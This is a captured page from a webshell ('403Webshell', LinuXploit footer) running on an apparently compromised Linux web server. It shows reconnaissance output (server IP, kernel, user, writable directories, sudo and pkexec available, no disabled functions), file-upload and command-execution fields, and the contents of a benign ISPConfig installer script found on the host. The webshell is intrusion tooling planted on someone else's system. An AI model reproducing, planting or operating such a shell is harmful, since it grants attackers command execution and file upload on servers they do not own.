403Webshell
Server IP : 104.129.129.72  /  Your IP : 216.73.216.229
Web Server : LiteSpeed
System : Linux 123answers 5.15.0-143-generic #153-Ubuntu SMP Fri Jun 13 19:10:45 UTC 2025 x86_64
User : answe8064 ( 1002)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/installer/apps/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/installer/apps/ispconfig-3.2-offsrc
#!/bin/bash

if [ -f "include/startup.sh" ]; then
    . include/startup.sh
elif [ -f "../include/startup.sh" ]; then
    . ../include/startup.sh
fi

ubuntu_version=$(lsb_release -rs)
rootDir=$(rootDir)
cd $rootDir/temp

echo "Downloading ISPConfig installlation package" | log
if [[ $ubuntu_version == "24.04" ]]; then
	curlDownload https://sourceforge.net/projects/ispconfig/files/ISPConfig%203/ISPConfig-3.2.11/ISPConfig-3.2.11.tar.gz ispconfig.tar.gz
else	
	curlDownload https://www.ispconfig.org/downloads/ISPConfig-3-stable.tar.gz ispconfig.tar.gz
fi

tar xfz ispconfig.tar.gz
cd $rootDir/temp/ispconfig3*/install/

echo "Installing Pure-FTPD" | log
apt install pure-ftpd-mysql -y

echo "Generating Configuration" | log
mv $rootDir/temp/ispconfig3*/docs/autoinstall_samples/autoinstall.ini.sample  ./autoinstall.ini
sed   -i "/^mysql_root_password/c\mysql_root_password=${ADMINPASSWORD}" ./autoinstall.ini
sed   -i "/^ispconfig_admin_password/c\ispconfig_admin_password=${ADMINPASSWORD}" ./autoinstall.ini
sed   -i "s/apache/nginx/" ./autoinstall.ini
php install.php --autoinstall=autoinstall.ini
systemctl start mysql.service

sed -i 's/^\(\s*fastcgi_pass\s*\).*/\1127.0.0.1:9000;/' /etc/nginx/sites-available/ispconfig.vhost
chown -R www-data:www-data /usr/local/ispconfig
systemctl restart php7.4-fpm.service
systemctl reload nginx.service

echo "adding descriptions" | log
descriptionAppend "ISPConfig Admin Web Interface: https://${CWM_SERVERIP}:8080/"
descriptionAppend "ISPConfig Admin Username: admin"
descriptionAppend "ISPConfig Admin Password: ${ADMINPASSWORD}"
descriptionAppend " "

tagScript success

exit 0

Youez - 2016 - github.com/yon3zu
LinuXploit